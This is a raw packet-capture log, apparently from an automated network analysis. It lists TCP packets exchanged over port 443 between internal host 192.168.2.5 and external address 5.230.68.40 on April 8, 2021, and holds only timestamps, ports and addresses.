Apr 8, 2021 18:46:40.192317963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192321062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192342043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192358017 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192362070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192387104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192408085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192416906 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192430973 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192435980 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192454100 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192476988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192487955 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192498922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192523003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192523956 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192547083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192564011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192578077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192579985 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192598104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192614079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192612886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192626953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192648888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192667007 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192672968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192693949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192704916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192709923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192718983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192728043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192745924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192766905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192789078 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192795038 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192806959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192809105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192836046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192843914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192869902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192893028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192897081 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192909956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192934036 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192956924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192960024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.192977905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.192994118 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193001986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193026066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193037033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193052053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193078041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193080902 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193103075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193126917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193126917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193150997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193175077 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193176031 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193198919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193218946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193221092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193245888 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193272114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193295956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193298101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193320990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193324089 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193346024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193372965 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193417072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193444014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193463087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193490028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193489075 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193512917 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193527937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193548918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193573952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193589926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193591118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.193624020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.193983078 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195312977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195339918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195375919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195396900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195416927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195451975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195475101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195481062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195502043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195507050 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195538044 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195568085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195612907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195640087 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195653915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195657015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195688963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195705891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195741892 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195750952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195763111 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195785046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195807934 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195830107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195851088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195871115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195878983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195900917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195935965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195960045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.195987940 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.195991993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196017027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196022987 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196038961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196059942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196078062 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196094990 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196099043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196113110 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196125984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196141005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196182013 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196202993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196223021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196238041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196264982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196285963 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196306944 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196329117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196352959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196369886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196377039 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196393013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196404934 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196436882 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196454048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196470976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196502924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196526051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196557045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196558952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196579933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196588039 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196603060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196625948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196640968 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196645975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196667910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196669102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196703911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196722984 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.196734905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196764946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.196787119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.197113991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199162006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199192047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199213982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199249029 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199280024 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199325085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199374914 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199399948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199423075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199456930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199465990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199476004 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199491024 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199542046 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199626923 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199666977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199690104 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.199723005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.199728012 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.200400114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.202063084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.228265047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228295088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228317022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228338003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228363991 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228382111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228405952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228429079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228460073 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.228466988 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228490114 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228490114 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.228494883 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.228513956 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228534937 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228547096 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.228553057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.228580952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.257304907 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257436037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257611990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257636070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.257671118 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257734060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257793903 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.257806063 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.257817984 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257854939 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257900953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257920980 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.257941961 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.257977962 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258016109 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258029938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258058071 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258074999 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258088112 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258125067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258161068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258162022 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258198977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258234978 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258258104 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258270025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258287907 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258306980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258343935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258364916 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258388996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258431911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258465052 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258491039 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258500099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258527994 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258537054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258563995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258586884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258599043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258632898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258673906 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258682013 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258752108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258791924 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258829117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258829117 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258841991 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258862972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258899927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258935928 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.258954048 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258982897 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.258985996 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259061098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259103060 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259145021 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259156942 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259183884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259219885 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259233952 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259255886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259267092 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259291887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259326935 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259367943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259392023 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259407043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259432077 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259440899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259478092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259516954 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259530067 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259551048 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259565115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259587049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259613037 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259654045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259665966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259690046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259701967 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259723902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259761095 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259793043 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259813070 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259826899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259835005 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259864092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259897947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259912968 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.259939909 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.259977102 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260011911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260049105 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260061979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260071993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260107994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260119915 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260144949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260194063 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260209084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260248899 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260298014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260346889 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260376930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260397911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260411978 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260447025 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260493994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260514975 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260543108 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260588884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260624886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260643959 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260682106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260730028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260754108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260776997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260783911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260824919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260871887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260890961 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.260919094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260967970 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.260982037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.261023998 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261075974 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261076927 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.261123896 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261171103 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261173964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.261217117 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261265993 CEST	443	49727	5.230.68.40	192.168.2.5
